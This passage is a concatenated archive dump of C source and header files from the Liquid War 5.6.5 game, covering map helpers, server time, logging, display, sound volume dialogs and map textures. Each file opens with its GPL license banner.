LW_MACRO_MEMSET0 (result); memcpy (result, char_ptr + 8, LW_MAP_SYSTEM_NAME_SIZE); result[sizeof (result) - 1] = '\0'; return result; } /*------------------------------------------------------------------*/ char * lw_map_get_readable_name (int num, int network, int random) { static char result[LW_MAP_READABLE_NAME_SIZE + 1]; void *raw_map; char *char_ptr; raw_map = lw_map_get_safe (num, network, random); char_ptr = (char *) raw_map; LW_MACRO_MEMSET0 (result); memcpy (result, char_ptr + 8 + LW_MAP_SYSTEM_NAME_SIZE, LW_MAP_READABLE_NAME_SIZE); result[sizeof (result) - 1] = '\0'; return result; } /*------------------------------------------------------------------*/ void lw_map_get_res (int num, int *w, int *h, int network, int random, int min_w, int min_h) { void *raw_map; short res_w, res_h; int zoom_factor; raw_map = lw_map_get_safe (num, network, random); lw_serial_get_map_header (raw_map, NULL, &res_w, &res_h); zoom_factor = calc_zoom_factor (res_w, res_h, min_w, min_h); *w = res_w * zoom_factor; *h = res_h * zoom_factor; } liquidwar-5.6.5/src/srvtime.h0000664000372000037200000000730013407756104015572 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : srvtime.h */ /* content : utilities to manage time on the server */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_SRVTIME #define LIQUID_WAR_INCLUDE_SRVTIME /*==================================================================*/ /* functions */ /*==================================================================*/ int lw_srvtime_seconds (); #endif liquidwar-5.6.5/src/info.h0000664000372000037200000000765713407756104015053 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : info.h */ /* contenu : gestion de la barre d'information */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_INFO #define LIQUID_WAR_INCLUDE_INFO /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int init_info_bar (int w, int h, int epaisseur); void free_info_bar (void); void display_info (void); void lw_info_get_room_for_viewport (int *x, int *y, int *w, int *h); void check_info_state (void); #endif liquidwar-5.6.5/src/srvtime.c0000664000372000037200000001016513407756104015570 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : srvtime.c */ /* content : utilities to manage time on the server */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #ifdef WIN32 #include #else #include #endif /*==================================================================*/ /* functions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * returns the "CPU time" in seconds */ int lw_srvtime_seconds () { int result; #ifdef WIN32 result = GetTickCount () / 1000; #else result = time (NULL); #endif return result; } liquidwar-5.6.5/src/lwwin.rc0000664000372000037200000000150613407756104015420 0ustar travistravis#include "windows.h" allegro_icon ICON "./misc/liquidwar.ico" 1 VERSIONINFO FILEVERSION 5, 6, 5, 1 PRODUCTVERSION 5, 6, 5, 1 FILEFLAGSMASK 0x3fL FILEFLAGS 0x0L FILEOS VOS__WINDOWS32 FILETYPE VFT_APP FILESUBTYPE VFT2_UNKNOWN BEGIN BLOCK "StringFileInfo" BEGIN BLOCK "040904b0" BEGIN VALUE "Comments", "A unique multiplayer wargame\0" VALUE "CompanyName", "N/A\0" VALUE "FileDescription", "Liquid War 5.6.5 for Microsoft Windows\0" VALUE "FileVersion", "5.6.5-1\0" VALUE "InternalName", "liquidwar\0" VALUE "LegalCopyright", "Copyright (C) 1998-2018 Christian Mauduit\0" VALUE "OriginalFilename", "lwwin.exe\0" VALUE "ProductName", "Liquid War\0" VALUE "ProductVersion", "5.6.5\0" END END END liquidwar-5.6.5/src/log.h0000664000372000037200000001066013407756104014665 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : log.h */ /* contenu : gestion de log (affichage+fichier?) */ /* date de modif : 1 aout 99 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_LOG #define LIQUID_WAR_INCLUDE_LOG /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ extern int LW_LOG_BEEP; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void log_init (void); void log_exit (void); void log_print_str (char *str); void log_print_int (int i); void log_println (); void log_println_str (char *str); void log_println_int (int i); void log_flush (); void log_beep (); void log_set_server_mode (int mode); #endif liquidwar-5.6.5/src/disp.c0000664000372000037200000001261513407756104015040 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : disp.c */ /* contenu : affichage de l'aire de jeu */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include "area.h" #include "config.h" #include "disp.h" #include "grad.h" #include "viewport.h" #include "wave.h" #include "distor.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ static void disp_stretch_area (void) { stretch_blit (CURRENT_AREA_DISP, NEXT_SCREEN, 0, 0, CURRENT_AREA_W, CURRENT_AREA_H, 0, 0, NEXT_SCREEN->w, NEXT_SCREEN->h); } /*------------------------------------------------------------------*/ void display_area (void) { if ((CONFIG_WAVE_AMPLI[0] || CONFIG_WAVE_AMPLI[1] || CONFIG_WAVE_AMPLI[2] || CONFIG_WAVE_AMPLI[3]) && CONFIG_WAVE_ON) disp_distorted_area (); else disp_stretch_area (); } /*------------------------------------------------------------------*/ void display_gradient (int i) { BITMAP *bmp; bmp = create_gradient_bitmap (i); if (bmp) { stretch_blit (bmp, NEXT_SCREEN, 0, 0, bmp->w, bmp->h, 0, 0, NEXT_SCREEN->w, NEXT_SCREEN->h); destroy_bitmap (bmp); } } /*------------------------------------------------------------------*/ void display_mesh (int i) { BITMAP *bmp; bmp = create_mesh_bitmap (i); if (bmp) { stretch_blit (bmp, NEXT_SCREEN, 0, 0, bmp->w, bmp->h, 0, 0, NEXT_SCREEN->w, NEXT_SCREEN->h); destroy_bitmap (bmp); } } liquidwar-5.6.5/src/logcli.c0000664000372000037200000001776013407756104015360 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : logcli.c */ /* contenu : gestion de log client (affichage+fichier?) */ /* date de modif : 1 aout 99 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ /* * Note: we must *not* include allegro.h here, or everything's * wrecked with the use of windows.h... */ #ifdef WIN32 #include #endif #include #include #include "startup.h" #include "log.h" #include "macro.h" #include "mutxgen.h" /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_LOG_FALLBACK_PATH "lwlog.txt" /*==================================================================*/ /* definitions de types */ /*==================================================================*/ #ifndef UNIX FILE *LW_LOG_FILE = NULL; #endif /*==================================================================*/ /* variables globales */ /*==================================================================*/ int LW_LOG_BEEP = 1; static LW_MUTEX_DATA LOG_MUTEX = { NULL }; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ void log_init (void) { lw_mutex_lock (&LOG_MUTEX); #ifndef UNIX LW_LOG_FILE = fopen (STARTUP_LOG_PATH, "w"); if (LW_LOG_FILE == NULL) { /* * Unable to open the log file probably because the data/ * directoty is not here, we try and open "lw.log" instead... */ LW_LOG_FILE = fopen (LW_LOG_FALLBACK_PATH, "w"); } #endif log_flush (); lw_mutex_unlock (&LOG_MUTEX); } /*------------------------------------------------------------------*/ void log_exit (void) { lw_mutex_lock (&LOG_MUTEX); #ifndef UNIX if (LW_LOG_FILE) { fclose (LW_LOG_FILE); } #endif log_flush (); lw_mutex_unlock (&LOG_MUTEX); } /*------------------------------------------------------------------*/ void log_print_str (char *str) { lw_mutex_lock (&LOG_MUTEX); #ifndef WIN32 printf ("%s", str); #endif #ifndef UNIX if (LW_LOG_FILE) { fprintf (LW_LOG_FILE, "%s", str); } #endif log_flush (); lw_mutex_unlock (&LOG_MUTEX); } /*------------------------------------------------------------------*/ void log_print_int (int i) { lw_mutex_lock (&LOG_MUTEX); #ifndef WIN32 printf ("%d", i); #endif #ifndef UNIX if (LW_LOG_FILE) { fprintf (LW_LOG_FILE, "%d", i); } #endif log_flush (); lw_mutex_unlock (&LOG_MUTEX); } /*------------------------------------------------------------------*/ void log_println () { lw_mutex_lock (&LOG_MUTEX); #ifndef WIN32 printf ("\n"); #endif #ifndef UNIX if (LW_LOG_FILE) { fprintf (LW_LOG_FILE, "\n"); } #endif log_flush (); lw_mutex_unlock (&LOG_MUTEX); } /*------------------------------------------------------------------*/ void log_println_str (char *str) { lw_mutex_lock (&LOG_MUTEX); #ifndef WIN32 printf ("%s\n", str); #endif #ifndef UNIX if (LW_LOG_FILE) { fprintf (LW_LOG_FILE, "%s\n", str); } #endif log_flush (); lw_mutex_unlock (&LOG_MUTEX); } /*------------------------------------------------------------------*/ void log_println_int (int i) { lw_mutex_lock (&LOG_MUTEX); #ifndef WIN32 printf ("%d\n", i); #endif #ifndef UNIX if (LW_LOG_FILE) { fprintf (LW_LOG_FILE, "%d\n", i); } #endif log_flush (); lw_mutex_unlock (&LOG_MUTEX); } /*------------------------------------------------------------------*/ void log_flush () { #ifdef GP2X usleep (100); #endif #ifndef WIN32 fflush (stdout); #endif #ifndef UNIX if (LW_LOG_FILE) { fflush (LW_LOG_FILE); } #endif } /*------------------------------------------------------------------*/ void log_beep () { lw_mutex_lock (&LOG_MUTEX); if (LW_LOG_BEEP) { #ifdef WIN32 /* * We play a beep using the Win32 API */ MessageBeep (MB_OK); #else /* * We play a beep using the console */ fprintf (stderr, "\a"); #endif } log_flush (); lw_mutex_unlock (&LOG_MUTEX); } /*------------------------------------------------------------------*/ void log_set_server_mode (int mode) { /* * We do nothing here */ LW_MACRO_NOP (mode); } liquidwar-5.6.5/src/help.h0000664000372000037200000001033413407756104015032 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : help.h */ /* contenu : aide en ligne */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_HELP #define LIQUID_WAR_INCLUDE_HELP /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void prepare_help (DIALOG d[6], char *str); int display_help (char *str); #endif liquidwar-5.6.5/src/volume.c0000664000372000037200000001405313407756104015406 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : volume.c */ /* contenu : reglage du volume du son */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "back.h" #include "config.h" #include "dialog.h" #include "disk.h" #include "help.h" #include "menu.h" #include "sound.h" #include "volume.h" #include "lang.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ int sound_options (void) { int *temp; DIALOG d[15]; int i, choix = 4, retour = 0; static int y_pos[5] = { 0, 2, 4, 5, 7 }; memset (d, 0, sizeof (d)); for (i = 0; i < 5; ++i) { standard_button (d + i + 4, 0, y_pos[i], 2, 8); d[i + 4].proc = my_textbox_proc; } for (i = 0; i < 5; ++i) { standard_button (d + i + 9, 1, y_pos[i], 2, 8); d[i + 9].proc = my_slider_proc; } quick_buttons (d); d[4].dp = lw_lang_string (LW_LANG_STRING_VOLUME_SFX); d[5].dp = lw_lang_string (LW_LANG_STRING_VOLUME_CLICK); d[6].dp = lw_lang_string (LW_LANG_STRING_VOLUME_GAMEWATER); d[7].dp = lw_lang_string (LW_LANG_STRING_VOLUME_MENUWATER); d[8].dp = lw_lang_string (LW_LANG_STRING_VOLUME_MUSIC); d[9].dp3 = &CONFIG_SFX_VOLUME; d[10].dp3 = &CONFIG_CLICK_VOLUME; d[11].dp3 = &CONFIG_WATER_VOLUME_GAME; d[12].dp3 = &WATER_VOLUME; d[13].dp3 = &CONFIG_MUSIC_VOLUME; for (i = 9; i < 14; ++i) { d[i].d1 = 16; d[i].dp = NULL; d[i].dp2 = slider_int; temp = d[i].dp3; d[i].d2 = *temp; } d[14].proc = 0; while (retour == 0) { choix = my_do_dialog (d, choix); switch (choix) { case -1: case MENU_QUICK_BACK: retour = 1; break; case MENU_QUICK_MAIN: retour = MENU_TOP; break; case MENU_QUICK_QUIT: if (confirm_quit ()) retour = MENU_EXIT; else display_back_image (); break; case MENU_QUICK_PLAY: retour = MENU_PLAY; break; } } CONFIG_WATER_VOLUME_MENU = WATER_VOLUME; // realign current volume // and config volume if (retour > 0) retour--; return retour; } liquidwar-5.6.5/src/maptex.c0000664000372000037200000002037313407756104015377 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : maptex.c */ /* content : used to associate maps with textures */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "maptex.h" #include "map.h" #include "texture.h" #include "palette.h" #include "disk.h" /*==================================================================*/ /* constants */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* gestion des bitmaps des textures */ /*------------------------------------------------------------------*/ /*-----------------------------------------------------------------*/ static int calc_real_texture_number (int num, int texture, int network, int random, int use_default_texture, int *found) { int i; char *map_name; int real_texture; *found = 0; real_texture = texture; if (use_default_texture) { /* * OK, the player has chosen the "use default texture" option, * now we check that such a default texture does exists */ map_name = lw_map_get_system_name (num, network, random); for (i = CHOOSE_COLOR_NUMBER; i < CHOOSE_COLOR_NUMBER + RAW_TEXTURE_NUMBER + RAW_MAPTEX_NUMBER && !(*found); ++i) { if (strcmp (map_name, lw_texture_get_system_name (i)) == 0) { *found = 1; real_texture = i; } } } return real_texture; } /*-----------------------------------------------------------------*/ int lw_maptex_is_custom_texture_used (int num, int texture, int network, int random, int use_default_texture) { int result = 0; calc_real_texture_number (num, texture, network, random, use_default_texture, &result); return result; } /*-----------------------------------------------------------------*/ BITMAP * lw_maptex_create_map (int num, int fg, int bg, int network, int random, int min_w, int min_h, int use_default_texture) { BITMAP *result; int found; result = lw_map_create_textured (num, calc_real_texture_number (num, fg, network, random, use_default_texture, &found), calc_real_texture_number (num, bg, network, random, use_default_texture, &found), network, random, min_w, min_h); return result; } /*-----------------------------------------------------------------*/ BITMAP * lw_maptex_create_fg (int num, int fg, int network, int random, int use_default_texture) { BITMAP *result; int found; result = lw_texture_create_fg (calc_real_texture_number (num, fg, network, random, use_default_texture, &found)); return result; } /*-----------------------------------------------------------------*/ BITMAP * lw_maptex_create_bg (int num, int bg, int network, int random, int use_default_texture) { BITMAP *result; int found; result = lw_texture_create_bg (calc_real_texture_number (num, bg, network, random, use_default_texture, &found)); return result; } /*-----------------------------------------------------------------*/ void lw_maptex_set_fg_palette (int num, int fg, int network, int random, int use_default_texture) { int found; set_fg_texture_palette (calc_real_texture_number (num, fg, network, random, use_default_texture, &found)); } /*-----------------------------------------------------------------*/ void lw_maptex_set_bg_palette (int num, int bg, int network, int random, int use_default_texture) { int found; set_bg_texture_palette (calc_real_texture_number (num, bg, network, random, use_default_texture, &found)); } liquidwar-5.6.5/src/langpl.h0000664000372000037200000001055413407756104015363 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : langpl.h */ /* content : handles Polish dependant stuff (locale) */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_LANGPL #define LIQUID_WAR_INCLUDE_LANGPL /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* constants */ /*==================================================================*/ /*==================================================================*/ /* globals */ /*==================================================================*/ /*==================================================================*/ /* functions */ /*==================================================================*/ extern void lw_langpl_init (); extern char *lw_langpl_string (int id); #endif liquidwar-5.6.5/src/srvchan.c0000664000372000037200000011720113407756104015542 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : srvchan.c */ /* content : handles a server network channel */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ 